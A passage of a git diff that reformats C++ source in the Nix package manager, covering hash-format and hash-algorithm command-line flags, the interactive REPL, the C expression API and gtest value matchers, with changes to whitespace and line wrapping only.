`sri`.", + .labels = {"hash-format"}, + .handler = {[hf](std::string s) { *hf = parseHashFormat(s); }}, + .completer = hashFormatCompleter, }; } Args::Flag hashFormatOpt(std::string && longName, std::optional * ohf) { - return Args::Flag { - .longName = std::move(longName), - .description = "Hash format (`base16`, `nix32`, `base64`, `sri`).", - .labels = {"hash-format"}, - .handler = {[ohf](std::string s) { - *ohf = std::optional{parseHashFormat(s)}; - }}, - .completer = hashFormatCompleter, + return Args::Flag{ + .longName = std::move(longName), + .description = "Hash format (`base16`, `nix32`, `base64`, `sri`).", + .labels = {"hash-format"}, + .handler = {[ohf](std::string s) { *ohf = std::optional{parseHashFormat(s)}; }}, + .completer = hashFormatCompleter, }; } @@ -48,34 +43,31 @@ static void hashAlgoCompleter(AddCompletions & completions, size_t index, std::s Args::Flag hashAlgo(std::string && longName, HashAlgorithm * ha) { - return Args::Flag { - .longName = std::move(longName), - .description = "Hash algorithm (`blake3`, `md5`, `sha1`, `sha256`, or `sha512`).", - .labels = {"hash-algo"}, - .handler = {[ha](std::string s) { - *ha = parseHashAlgo(s); - }}, - .completer = hashAlgoCompleter, + return Args::Flag{ + .longName = std::move(longName), + .description = "Hash algorithm (`blake3`, `md5`, `sha1`, `sha256`, or `sha512`).", + .labels = {"hash-algo"}, + .handler = {[ha](std::string s) { *ha = parseHashAlgo(s); }}, + .completer = hashAlgoCompleter, }; } Args::Flag hashAlgoOpt(std::string && longName, std::optional * oha) { - return Args::Flag { - .longName = std::move(longName), - .description = "Hash algorithm (`blake3`, `md5`, `sha1`, `sha256`, or `sha512`). Can be omitted for SRI hashes.", - .labels = {"hash-algo"}, - .handler = {[oha](std::string s) { - *oha = std::optional{parseHashAlgo(s)}; - }}, - .completer = hashAlgoCompleter, + return Args::Flag{ + .longName = std::move(longName), + .description = + "Hash algorithm (`blake3`, `md5`, `sha1`, `sha256`, or `sha512`). Can be omitted for SRI hashes.", + .labels = {"hash-algo"}, + .handler = {[oha](std::string s) { *oha = std::optional{parseHashAlgo(s)}; }}, + .completer = hashAlgoCompleter, }; } Args::Flag fileIngestionMethod(FileIngestionMethod * method) { - return Args::Flag { - .longName = "mode", + return Args::Flag{ + .longName = "mode", // FIXME indentation carefully made for context, this is messed up. .description = R"( How to compute the hash of the input. @@ -92,16 +84,14 @@ Args::Flag fileIngestionMethod(FileIngestionMethod * method) it to the hash function. )", .labels = {"file-ingestion-method"}, - .handler = {[method](std::string s) { - *method = parseFileIngestionMethod(s); - }}, + .handler = {[method](std::string s) { *method = parseFileIngestionMethod(s); }}, }; } Args::Flag contentAddressMethod(ContentAddressMethod * method) { - return Args::Flag { - .longName = "mode", + return Args::Flag{ + .longName = "mode", // FIXME indentation carefully made for context, this is messed up. .description = R"( How to compute the content-address of the store object. @@ -126,9 +116,7 @@ Args::Flag contentAddressMethod(ContentAddressMethod * method) for regular usage prefer `nar` and `flat`. )", .labels = {"content-address-method"}, - .handler = {[method](std::string s) { - *method = ContentAddressMethod::parse(s); - }}, + .handler = {[method](std::string s) { *method = ContentAddressMethod::parse(s); }}, }; } diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index 769935efa..0a5127e01 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -3,8 +3,8 @@ #include #if USE_READLINE -#include -#include +# include +# include #else // editline < 1.15.2 don't wrap their API for C++ usage // (added in https://github.com/troglobit/editline/commit/91398ceb3427b730995357e9d120539fb9bb7461). @@ -12,7 +12,7 @@ // For compatibility with these versions, we wrap the API here // (wrapping multiple times on newer versions is no problem). extern "C" { -#include +# include } #endif @@ -183,8 +183,7 @@ bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptT // editline doesn't echo the input to the output when non-interactive, unlike readline // this results in a different behavior when running tests. The echoing is // quite useful for reading the test output, so we add it here. - if (auto e = getEnv("_NIX_TEST_REPL_ECHO"); s && e && *e == "1") - { + if (auto e = getEnv("_NIX_TEST_REPL_ECHO"); s && e && *e == "1") { #if !USE_READLINE // This is probably not right for multi-line input, but we don't use that // in the characterisation tests, so it's fine. diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index c5a95268b..a1d89f275 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -54,10 +54,7 @@ enum class ProcessLineResult { PromptAgain, }; -struct NixRepl - : AbstractNixRepl - , detail::ReplCompleterMixin - , gc +struct NixRepl : AbstractNixRepl, detail::ReplCompleterMixin, gc { size_t debugTraceIndex; @@ -76,8 +73,12 @@ struct NixRepl std::unique_ptr interacter; - NixRepl(const LookupPath & lookupPath, nix::ref store,ref state, - std::function getValues, RunNix * runNix); + NixRepl( + const LookupPath & lookupPath, + nix::ref store, + ref state, + std::function getValues, + RunNix * runNix); virtual ~NixRepl() = default; ReplExitStatus mainLoop() override; @@ -97,20 +98,22 @@ struct NixRepl void evalString(std::string s, Value & v); void loadDebugTraceEnv(DebugTrace & dt); - void printValue(std::ostream & str, - Value & v, - unsigned int maxDepth = std::numeric_limits::max()) + void printValue(std::ostream & str, Value & v, unsigned int maxDepth = std::numeric_limits::max()) { // Hide the progress bar during printing because it might interfere auto suspension = logger->suspend(); - ::nix::printValue(*state, str, v, PrintOptions { - .ansiColors = true, - .force = true, - .derivationPaths = true, - .maxDepth = maxDepth, - .prettyIndent = 2, - .errors = ErrorPrintBehavior::ThrowTopLevel, - }); + ::nix::printValue( + *state, + str, + v, + PrintOptions{ + .ansiColors = true, + .force = true, + .derivationPaths = true, + .maxDepth = maxDepth, + .prettyIndent = 2, + .errors = ErrorPrintBehavior::ThrowTopLevel, + }); } }; @@ -118,13 +121,17 @@ std::string removeWhitespace(std::string s) { s = chomp(s); size_t n = s.find_first_not_of(" \n\r\t"); - if (n != std::string::npos) s = std::string(s, n); + if (n != std::string::npos) + s = std::string(s, n); return s; } - -NixRepl::NixRepl(const LookupPath & lookupPath, nix::ref store, ref state, - std::function getValues, RunNix * runNix) +NixRepl::NixRepl( + const LookupPath & lookupPath, + nix::ref store, + ref state, + std::function getValues, + RunNix * runNix) : AbstractNixRepl(state) , debugTraceIndex(0) , getValues(getValues) @@ -180,7 +187,8 @@ ReplExitStatus NixRepl::mainLoop() auto suspension = logger->suspend(); // When continuing input from previous lines, don't print a prompt, just align to the same // number of chars as the prompt. - if (!interacter->getLine(input, input.empty() ? ReplPromptType::ReplPrompt : ReplPromptType::ContinuationPrompt)) { + if (!interacter->getLine( + input, input.empty() ? ReplPromptType::ReplPrompt : ReplPromptType::ContinuationPrompt)) { // Ctrl-D should exit the debugger. state->debugStop = false; logger->cout(""); @@ -192,14 +200,14 @@ ReplExitStatus NixRepl::mainLoop() } try { switch (processLine(input)) { - case ProcessLineResult::Quit: - return ReplExitStatus::QuitAll; - case ProcessLineResult::Continue: - return ReplExitStatus::Continue; - case ProcessLineResult::PromptAgain: - break; - default: - unreachable(); + case ProcessLineResult::Quit: + return ReplExitStatus::QuitAll; + case ProcessLineResult::Continue: + return ReplExitStatus::Continue; + case ProcessLineResult::PromptAgain: + break; + default: + unreachable(); } } catch (ParseError & e) { if (e.msg().find("unexpected end of file") != std::string::npos) { @@ -207,7 +215,7 @@ ReplExitStatus NixRepl::mainLoop() // input without clearing the input so far. continue; } else { - printMsg(lvlError, e.msg()); + printMsg(lvlError, e.msg()); } } catch (EvalError & e) { printMsg(lvlError, e.msg()); @@ -257,7 +265,8 @@ StringSet NixRepl::completePrefix(const std::string & prefix) /* This is a variable name; look it up in the current scope. */ StringSet::iterator i = varNames.lower_bound(cur); while (i != varNames.end()) { - if (i->substr(0, cur.size()) != cur) break; + if (i->substr(0, cur.size()) != cur) + break; completions.insert(prev + *i); i++; } @@ -276,11 +285,15 @@ StringSet NixRepl::completePrefix(const std::string & prefix) Expr * e = parseString(expr); Value v; e->eval(*state, *env, v); - state->forceAttrs(v, noPos, "while evaluating an attrset for the purpose of completion (this error should not be displayed; file an issue?)"); + state->forceAttrs( + v, + noPos, + "while evaluating an attrset for the purpose of completion (this error should not be displayed; file an issue?)"); for (auto & i : *v.attrs()) { std::string_view name = state->symbols[i.name]; - if (name.substr(0, cur2.size()) != cur2) continue; + if (name.substr(0, cur2.size()) != cur2) + continue; completions.insert(concatStrings(prev, expr, ".", name)); } @@ -298,24 +311,23 @@ StringSet NixRepl::completePrefix(const std::string & prefix) return completions; } - // FIXME: DRY and match or use the parser static bool isVarName(std::string_view s) { - if (s.size() == 0) return false; + if (s.size() == 0) + return false; char c = s[0]; - if ((c >= '0' && c <= '9') || c == '-' || c == '\'') return false; + if ((c >= '0' && c <= '9') || c == '-' || c == '\'') + return false; for (auto & i : s) - if (!((i >= 'a' && i <= 'z') || - (i >= 'A' && i <= 'Z') || - (i >= '0' && i <= '9') || - i == '_' || i == '-' || i == '\'')) + if (!((i >= 'a' && i <= 'z') || (i >= 'A' && i <= 'Z') || (i >= '0' && i <= '9') || i == '_' || i == '-' + || i == '\'')) return false; return true; } - -StorePath NixRepl::getDerivationPath(Value & v) { +StorePath NixRepl::getDerivationPath(Value & v) +{ auto packageInfo = getDerivation(*state, v, false); if (!packageInfo) throw Error("expression does not evaluate to a derivation, so I can't build it"); @@ -354,52 +366,49 @@ ProcessLineResult NixRepl::processLine(std::string line) if (line[0] == ':') { size_t p = line.find_first_of(" \n\r\t"); command = line.substr(0, p); - if (p != std::string::npos) arg = removeWhitespace(line.substr(p)); + if (p != std::string::npos) + arg = removeWhitespace(line.substr(p)); } else { arg = line; } if (command == ":?" || command == ":help") { // FIXME: convert to Markdown, include in the 'nix repl' manpage. - std::cout - << "The following commands are available:\n" - << "\n" - << " Evaluate and print expression\n" - << " = Bind expression to variable\n" - << " :a, :add Add attributes from resulting set to scope\n" - << " :b Build a derivation\n" - << " :bl Build a derivation, creating GC roots in the\n" - << " working directory\n" - << " :e, :edit Open package or function in $EDITOR\n" - << " :i Build derivation, then install result into\n" - << " current profile\n" - << " :l, :load Load Nix expression and add it to scope\n" - << " :lf, :load-flake Load Nix flake and add it to scope\n" - << " :p, :print Evaluate and print expression recursively\n" - << " Strings are printed directly, without escaping.\n" - << " :q, :quit Exit nix-repl\n" - << " :r, :reload Reload all files\n" - << " :sh Build dependencies of derivation, then start\n" - << " nix-shell\n" - << " :t Describe result of evaluation\n" - << " :u Build derivation, then start nix-shell\n" - << " :doc Show documentation of a builtin function\n" - << " :log Show logs for a derivation\n" - << " :te, :trace-enable [bool] Enable, disable or toggle showing traces for\n" - << " errors\n" - << " :?, :help Brings up this help menu\n" - ; + std::cout << "The following commands are available:\n" + << "\n" + << " Evaluate and print expression\n" + << " = Bind expression to variable\n" + << " :a, :add Add attributes from resulting set to scope\n" + << " :b Build a derivation\n" + << " :bl Build a derivation, creating GC roots in the\n" + << " working directory\n" + << " :e, :edit Open package or function in $EDITOR\n" + << " :i Build derivation, then install result into\n" + << " current profile\n" + << " :l, :load Load Nix expression and add it to scope\n" + << " :lf, :load-flake Load Nix flake and add it to scope\n" + << " :p, :print Evaluate and print expression recursively\n" + << " Strings are printed directly, without escaping.\n" + << " :q, :quit Exit nix-repl\n" + << " :r, :reload Reload all files\n" + << " :sh Build dependencies of derivation, then start\n" + << " nix-shell\n" + << " :t Describe result of evaluation\n" + << " :u Build derivation, then start nix-shell\n" + << " :doc Show documentation of a builtin function\n" + << " :log Show logs for a derivation\n" + << " :te, :trace-enable [bool] Enable, disable or toggle showing traces for\n" + << " errors\n" + << " :?, :help Brings up this help menu\n"; if (state->debugRepl) { - std::cout - << "\n" - << " Debug mode commands\n" - << " :env Show env stack\n" - << " :bt, :backtrace Show trace stack\n" - << " :st Show current trace\n" - << " :st Change to another trace in the stack\n" - << " :c, :continue Go until end of program, exception, or builtins.break\n" - << " :s, :step Go one step\n" - ; + std::cout << "\n" + << " Debug mode commands\n" + << " :env Show env stack\n" + << " :bt, :backtrace Show trace stack\n" + << " :st Show current trace\n" + << " :st Change to another trace in the stack\n" + << " :c, :continue Go until end of program, exception, or builtins.break\n" + << " :s, :step Go one step\n"; } } @@ -424,17 +433,18 @@ ProcessLineResult NixRepl::processLine(std::string line) try { // change the DebugTrace index. debugTraceIndex = stoi(arg); - } catch (...) { } + } catch (...) { + } for (const auto & [idx, i] : enumerate(state->debugTraces)) { - if (idx == debugTraceIndex) { - std::cout << "\n" << ANSI_BLUE << idx << ANSI_NORMAL << ": "; - showDebugTrace(std::cout, state->positions, i); - std::cout << std::endl; - printEnvBindings(*state, i.expr, i.env); - loadDebugTraceEnv(i); - break; - } + if (idx == debugTraceIndex) { + std::cout << "\n" << ANSI_BLUE << idx << ANSI_NORMAL << ": "; + showDebugTrace(std::cout, state->positions, i); + std::cout << std::endl; + printEnvBindings(*state, i.expr, i.env); + loadDebugTraceEnv(i); + break; + } } } @@ -474,7 +484,7 @@ ProcessLineResult NixRepl::processLine(std::string line) Value v; evalString(arg, v); - const auto [path, line] = [&] () -> std::pair { + const auto [path, line] = [&]() -> std::pair { if (v.type() == nPath || v.type() == nString) { NixStringContext context; auto path = state->coerceToPath(noPos, v, context, "while evaluating the filename to edit"); @@ -498,7 +508,7 @@ ProcessLineResult NixRepl::processLine(std::string line) // runProgram redirects stdout to a StringSink, // using runProgram2 to allow editors to display their UI - runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args , .isInteractive = true }); + runProgram2(RunOptions{.program = editor, .lookupPath = true, .args = args, .isInteractive = true}); // Reload right after exiting the editor state->resetFileCache(); @@ -529,9 +539,9 @@ ProcessLineResult NixRepl::processLine(std::string line) if (command == ":b" || command == ":bl") { state->store->buildPaths({ - DerivedPath::Built { + DerivedPath::Built{ .drvPath = makeConstantStorePathRef(drvPath), - .outputs = OutputsSpec::All { }, + .outputs = OutputsSpec::All{}, }, }); auto drv = state->store->readDerivation(drvPath); @@ -550,9 +560,7 @@ ProcessLineResult NixRepl::processLine(std::string line) runNix("nix-env", {"-i", drvPathRaw}); } else if (command == ":log") { settings.readOnlyMode = true; - Finally roModeReset([&]() { - settings.readOnlyMode = false; - }); + Finally roModeReset([&]() { settings.readOnlyMode = false; }); auto subs = getDefaultSubstituters(); subs.push_front(state->store); @@ -575,7 +583,8 @@ ProcessLineResult NixRepl::processLine(std::string line) break; } } - if (!foundLog) throw Error("build log of '%s' is not available", drvPathRaw); + if (!foundLog) + throw Error("build log of '%s' is not available", drvPathRaw); } else { runNix("nix-shell", {drvPathRaw}); } @@ -638,9 +647,8 @@ ProcessLineResult NixRepl::processLine(std::string line) for (auto & arg : args) arg = "*" + arg + "*"; - markdown += - "**Synopsis:** `builtins." + (std::string) (*doc->name) + "` " - + concatStringsSep(" ", args) + "\n\n"; + markdown += "**Synopsis:** `builtins." + (std::string) (*doc->name) + "` " + concatStringsSep(" ", args) + + "\n\n"; } markdown += stripIndentation(doc->doc); @@ -681,11 +689,8 @@ ProcessLineResult NixRepl::processLine(std::string line) else { size_t p = line.find('='); std::string name; - if (p != std::string::npos && - p < line.size() && - line[p + 1] != '=' && - isVarName(name = removeWhitespace(line.substr(0, p)))) - { + if (p != std::string::npos && p < line.size() && line[p + 1] != '=' + && isVarName(name = removeWhitespace(line.substr(0, p)))) { Expr * e = parseString(line.substr(p + 1)); Value & v(*state->allocValue()); v.mkThunk(env, e); @@ -730,9 +735,13 @@ void NixRepl::loadFlake(const std::string & flakeRefS) Value v; - flake::callFlake(*state, - flake::lockFlake(flakeSettings, *state, flakeRef, - flake::LockFlags { + flake::callFlake( + *state, + flake::lockFlake( + flakeSettings, + *state, + flakeRef, + flake::LockFlags{ .updateLockFile = false, .useRegistries = !evalSettings.pureEval, .allowUnlocked = !evalSettings.pureEval, @@ -741,7 +750,6 @@ void NixRepl::loadFlake(const std::string & flakeRefS) addAttrsToScope(v); } - void NixRepl::initEnv() { env = &state->allocEnv(envSize); @@ -754,7 +762,6 @@ void NixRepl::initEnv() varNames.emplace(state->symbols[i.first]); } - void NixRepl::reloadFiles() { initEnv(); @@ -762,7 +769,6 @@ void NixRepl::reloadFiles() loadFiles(); } - void NixRepl::loadFiles() { Strings old = loadedFiles; @@ -779,10 +785,12 @@ void NixRepl::loadFiles() } } - void NixRepl::addAttrsToScope(Value & attrs) { - state->forceAttrs(attrs, [&]() { return attrs.determinePos(noPos); }, "while evaluating an attribute set to be merged in the global scope"); + state->forceAttrs( + attrs, + [&]() { return attrs.determinePos(noPos); }, + "while evaluating an attribute set to be merged in the global scope"); if (displ + attrs.attrs()->size() >= envSize) throw Error("environment full; cannot add more variables"); @@ -796,7 +804,6 @@ void NixRepl::addAttrsToScope(Value & attrs) notice("Added %1% variables.", attrs.attrs()->size()); } - void NixRepl::addVarToScope(const Symbol name, Value & v) { if (displ >= envSize) @@ -809,13 +816,11 @@ void NixRepl::addVarToScope(const Symbol name, Value & v) varNames.emplace(state->symbols[name]); } - Expr * NixRepl::parseString(std::string s) { return state->parseExprFromString(std::move(s), state->rootPath("."), staticEnv); } - void NixRepl::evalString(std::string s, Value & v) { Expr * e = parseString(s); @@ -823,46 +828,39 @@ void NixRepl::evalString(std::string s, Value & v) state->forceValue(v, v.determinePos(noPos)); } - void NixRepl::runNix(Path program, const Strings & args, const std::optional & input) { if (runNixPtr) (*runNixPtr)(program, args, input); else - throw Error("Cannot run '%s' because no method of calling the Nix CLI was provided. This is a configuration problem pertaining to how this program was built. See Nix 2.25 release notes", program); + throw Error( + "Cannot run '%s' because no method of calling the Nix CLI was provided. This is a configuration problem pertaining to how this program was built. See Nix 2.25 release notes", + program); } - std::unique_ptr AbstractNixRepl::create( - const LookupPath & lookupPath, nix::ref store, ref state, - std::function getValues, RunNix * runNix) + const LookupPath & lookupPath, + nix::ref store, + ref state, + std::function getValues, + RunNix * runNix) { - return std::make_unique( - lookupPath, - std::move(store), - state, - getValues, - runNix - ); + return std::make_unique(lookupPath, std::move(store), state, getValues, runNix); } - -ReplExitStatus AbstractNixRepl::runSimple( - ref evalState, - const ValMap & extraEnv) +ReplExitStatus AbstractNixRepl::runSimple(ref evalState, const ValMap & extraEnv) { - auto getValues = [&]()->NixRepl::AnnotatedValues{ + auto getValues = [&]() -> NixRepl::AnnotatedValues { NixRepl::AnnotatedValues values; return values; }; LookupPath lookupPath = {}; auto repl = std::make_unique( - lookupPath, - openStore(), - evalState, - getValues, - /*runNix=*/nullptr - ); + lookupPath, + openStore(), + evalState, + getValues, + /*runNix=*/nullptr); repl->initEnv(); diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index efaebf0e7..dd3c03460 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -31,13 +31,11 @@ * @param init Function that takes a T* and returns the initializer for T * @return Pointer to allocated and initialized object */ -template +template static T * unsafe_new_with_self(F && init) { // Allocate - void * p = ::operator new( - sizeof(T), - static_cast(alignof(T))); + void * p = ::operator new(sizeof(T), static_cast(alignof(T))); // Initialize with placement new return new (p) T(init(static_cast(p))); } @@ -86,12 +84,13 @@ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, n NIXC_CATCH_ERRS } -nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value) +nix_err nix_value_call_multi( + nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value) { if (context) context->last_err_code = NIX_OK; try { - state->state.callFunction(fn->value, {(nix::Value * *) args, nargs}, value->value, nix::noPos); + state->state.callFunction(fn->value, {(nix::Value **) args, nargs}, value->value, nix::noPos); state->state.forceValue(value->value, nix::noPos); } NIXC_CATCH_ERRS @@ -152,7 +151,8 @@ nix_err nix_eval_state_builder_load(nix_c_context * context, nix_eval_state_buil NIXC_CATCH_ERRS } -nix_err nix_eval_state_builder_set_lookup_path(nix_c_context * context, nix_eval_state_builder * builder, const char ** lookupPath_c) +nix_err nix_eval_state_builder_set_lookup_path( + nix_c_context * context, nix_eval_state_builder * builder, const char ** lookupPath_c) { if (context) context->last_err_code = NIX_OK; @@ -175,11 +175,7 @@ EvalState * nix_eval_state_build(nix_c_context * context, nix_eval_state_builder return EvalState{ .fetchSettings = std::move(builder->fetchSettings), .settings = std::move(builder->settings), - .state = nix::EvalState( - builder->lookupPath, - builder->store, - self->fetchSettings, - self->settings), + .state = nix::EvalState(builder->lookupPath, builder->store, self->fetchSettings, self->settings), }; }); } @@ -195,11 +191,10 @@ EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c if (nix_eval_state_builder_load(context, builder) != NIX_OK) return nullptr; - if (nix_eval_state_builder_set_lookup_path(context, builder, lookupPath_c) - != NIX_OK) + if (nix_eval_state_builder_set_lookup_path(context, builder, lookupPath_c) != NIX_OK) return nullptr; - auto *state = nix_eval_state_build(context, builder); + auto * state = nix_eval_state_build(context, builder); nix_eval_state_builder_free(builder); return state; } @@ -274,11 +269,11 @@ nix_err nix_gc_decref(nix_c_context * context, const void *) void nix_gc_now() {} #endif -nix_err nix_value_incref(nix_c_context * context, nix_value *x) +nix_err nix_value_incref(nix_c_context * context, nix_value * x) { return nix_gc_incref(context, (const void *) x); } -nix_err nix_value_decref(nix_c_context * context, nix_value *x) +nix_err nix_value_decref(nix_c_context * context, nix_value * x) { return nix_gc_decref(context, (const void *) x); } diff --git a/src/libexpr-c/nix_api_external.cc b/src/libexpr-c/nix_api_external.cc index 04d2e52b5..12b6d7a9d 100644 --- a/src/libexpr-c/nix_api_external.cc +++ b/src/libexpr-c/nix_api_external.cc @@ -48,7 +48,7 @@ class NixCExternalValue : public nix::ExternalValueBase public: NixCExternalValue(NixCExternalValueDesc & desc, void * v) : desc(desc) - , v(v){}; + , v(v) {}; void * get_ptr() { return v; @@ -155,11 +155,17 @@ public: } nix_string_context ctx{context}; desc.printValueAsXML( - v, (EvalState *) &state, strict, location, &doc, &ctx, &drvsSeen, + v, + (EvalState *) &state, + strict, + location, + &doc, + &ctx, + &drvsSeen, *reinterpret_cast(&pos)); } - virtual ~NixCExternalValue() override{}; + virtual ~NixCExternalValue() override {}; }; ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalValueDesc * desc, void * v) diff --git a/src/libexpr-test-support/include/nix/expr/tests/libexpr.hh b/src/libexpr-test-support/include/nix/expr/tests/libexpr.hh index 48c96ae2c..0aa8eac21 100644 --- a/src/libexpr-test-support/include/nix/expr/tests/libexpr.hh +++ b/src/libexpr-test-support/include/nix/expr/tests/libexpr.hh @@ -16,141 +16,158 @@ #include "nix/store/tests/libstore.hh" namespace nix { - class LibExprTest : public LibStoreTest { - public: - static void SetUpTestSuite() { - LibStoreTest::SetUpTestSuite(); - initGC(); - } - - protected: - LibExprTest() - : LibStoreTest() - , state({}, store, fetchSettings, evalSettings, nullptr) - { - evalSettings.nixPath = {}; - } - Value eval(std::string input, bool forceValue = true) { - Value v; - Expr * e = state.parseExprFromString(input, state.rootPath(CanonPath::root)); - assert(e); - state.eval(e, v); - if (forceValue) - state.forceValue(v, noPos); - return v; - } - - Value * maybeThunk(std::string input, bool forceValue = true) { - Expr * e = state.parseExprFromString(input, state.rootPath(CanonPath::root)); - assert(e); - return e->maybeThunk(state, state.baseEnv); - } - - Symbol createSymbol(const char * value) { - return state.symbols.create(value); - } - - bool readOnlyMode = true; - fetchers::Settings fetchSettings{}; - EvalSettings evalSettings{readOnlyMode}; - EvalState state; - }; - - MATCHER(IsListType, "") { - return arg != nList; +class LibExprTest : public LibStoreTest +{ +public: + static void SetUpTestSuite() + { + LibStoreTest::SetUpTestSuite(); + initGC(); } - MATCHER(IsList, "") { - return arg.type() == nList; +protected: + LibExprTest() + : LibStoreTest() + , state({}, store, fetchSettings, evalSettings, nullptr) + { + evalSettings.nixPath = {}; + } + Value eval(std::string input, bool forceValue = true) + { + Value v; + Expr * e = state.parseExprFromString(input, state.rootPath(CanonPath::root)); + assert(e); + state.eval(e, v); + if (forceValue) + state.forceValue(v, noPos); + return v; } - MATCHER(IsString, "") { - return arg.type() == nString; + Value * maybeThunk(std::string input, bool forceValue = true) + { + Expr * e = state.parseExprFromString(input, state.rootPath(CanonPath::root)); + assert(e); + return e->maybeThunk(state, state.baseEnv); } - MATCHER(IsNull, "") { - return arg.type() == nNull; + Symbol createSymbol(const char * value) + { + return state.symbols.create(value); } - MATCHER(IsThunk, "") { - return arg.type() == nThunk; - } + bool readOnlyMode = true; + fetchers::Settings fetchSettings{}; + EvalSettings evalSettings{readOnlyMode}; + EvalState state; +}; - MATCHER(IsAttrs, "") { - return arg.type() == nAttrs; - } +MATCHER(IsListType, "") +{ + return arg != nList; +} - MATCHER_P(IsStringEq, s, fmt("The string is equal to \"%1%\"", s)) { - if (arg.type() != nString) { +MATCHER(IsList, "") +{ + return arg.type() == nList; +} + +MATCHER(IsString, "") +{ + return arg.type() == nString; +} + +MATCHER(IsNull, "") +{ + return arg.type() == nNull; +} + +MATCHER(IsThunk, "") +{ + return arg.type() == nThunk; +} + +MATCHER(IsAttrs, "") +{ + return arg.type() == nAttrs; +} + +MATCHER_P(IsStringEq, s, fmt("The string is equal to \"%1%\"", s)) +{ + if (arg.type() != nString) { + return false; + } + return std::string_view(arg.c_str()) == s; +} + +MATCHER_P(IsIntEq, v, fmt("The string is equal to \"%1%\"", v)) +{ + if (arg.type() != nInt) { + return false; + } + return arg.integer().value == v; +} + +MATCHER_P(IsFloatEq, v, fmt("The float is equal to \"%1%\"", v)) +{ + if (arg.type() != nFloat) { + return false; + } + return arg.fpoint() == v; +} + +MATCHER(IsTrue, "") +{ + if (arg.type() != nBool) { + return false; + } + return arg.boolean() == true; +} + +MATCHER(IsFalse, "") +{ + if (arg.type() != nBool) { + return false; + } + return arg.boolean() == false; +} + +MATCHER_P(IsPathEq, p, fmt("Is a path equal to \"%1%\"", p)) +{ + if (arg.type() != nPath) { + *result_listener << "Expected a path got " << arg.type(); + return false; + } else { + auto path = arg.path(); + if (path.path != CanonPath(p)) { + *result_listener << "Expected a path that equals \"" << p << "\" but got: " << path.path; return false; } - return std::string_view(arg.c_str()) == s; } + return true; +} - MATCHER_P(IsIntEq, v, fmt("The string is equal to \"%1%\"", v)) { - if (arg.type() != nInt) { - return false; - } - return arg.integer().value == v; +MATCHER_P(IsListOfSize, n, fmt("Is a list of size [%1%]", n)) +{ + if (arg.type() != nList) { + *result_listener << "Expected list got " << arg.type(); + return false; + } else if (arg.listSize() != (size_t) n) { + *result_listener << "Expected as list of size " << n << " got " << arg.listSize(); + return false; } + return true; +} - MATCHER_P(IsFloatEq, v, fmt("The float is equal to \"%1%\"", v)) { - if (arg.type() != nFloat) { - return false; - } - return arg.fpoint() == v; +MATCHER_P(IsAttrsOfSize, n, fmt("Is a set of size [%1%]", n)) +{ + if (arg.type() != nAttrs) { + *result_listener << "Expected set got " << arg.type(); + return false; + } else if (arg.attrs()->size() != (size_t) n) { + *result_listener << "Expected a set with " << n << " attributes but got " << arg.attrs()->size(); + return false; } - - MATCHER(IsTrue, "") { - if (arg.type() != nBool) { - return false; - } - return arg.boolean() == true; - } - - MATCHER(IsFalse, "") { - if (arg.type() != nBool) { - return false; - } - return arg.boolean() == false; - } - - MATCHER_P(IsPathEq, p, fmt("Is a path equal to \"%1%\"", p)) { - if (arg.type() != nPath) { - *result_listener << "Expected a path got " << arg.type(); - return false; - } else { - auto path = arg.path(); - if (path.path != CanonPath(p)) { - *result_listener << "Expected a path that equals \"" << p << "\" but got: " << path.path; - return false; - } - } - return true; - } - - - MATCHER_P(IsListOfSize, n, fmt("Is a list of size [%1%]", n)) { - if (arg.type() != nList) { - *result_listener << "Expected list got " << arg.type(); - return false; - } else if (arg.listSize() != (size_t)n) { - *result_listener << "Expected as list of size " << n << " got " << arg.listSize(); - return false; - } - return true; - } - - MATCHER_P(IsAttrsOfSize, n, fmt("Is a set of size [%1%]", n)) { - if (arg.type() != nAttrs) { - *result_listener << "Expected set got " << arg.type(); - return false; - } else if (arg.attrs()->size() != (size_t) n) { - *result_listener << "Expected a set with " << n << " attributes but got " << arg.attrs()->size(); - return false; - } - return true; - } - + return true; +} } /* namespace nix */ diff --git a/src/libexpr-test-support/include/nix/expr/tests/value/context.hh b/src/libexpr-test-support/include/nix/expr/tests/value/context.hh index a6a851d3a..bd3560409 100644 --- a/src/libexpr-test-support/include/nix/expr/tests/value/context.hh +++ b/src/libexpr-test-support/include/nix/expr/tests/value/context.hh @@ -9,22 +9,26 @@ namespace rc { using namespace nix; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; template<> -struct Arbitrary { +struct Arbitrary +{ static Gen arbitrary(); }; diff --git a/src/libexpr-tests/derived-path.cc b/src/libexpr-tests/derived-path.cc index 9cc5d5371..a4bd29c1c 100644 --- a/src/libexpr-tests/derived-path.cc +++ b/src/libexpr-tests/derived-path.cc @@ -8,36 +8,30 @@ namespace nix { // Testing of trivial expressions -class DerivedPathExpressionTest : public LibExprTest {}; +class DerivedPathExpressionTest : public LibExprTest +{}; // FIXME: `RC_GTEST_FIXTURE_PROP` isn't calling `SetUpTestSuite` because it is // no a real fixture. // // See https://github.com/emil-e/rapidcheck/blob/master/doc/gtest.md#rc_gtest_fixture_propfixture-name-args -TEST_F(DerivedPathExpressionTest, force_init) -{ -} +TEST_F(DerivedPathExpressionTest, force_init) {} #ifndef COVERAGE -RC_GTEST_FIXTURE_PROP( - DerivedPathExpressionTest, - prop_opaque_path_round_trip, - (const SingleDerivedPath::Opaque & o)) +RC_GTEST_FIXTURE_PROP(DerivedPathExpressionTest, prop_opaque_path_round_trip, (const SingleDerivedPath::Opaque & o)) { auto * v = state.allocValue(); 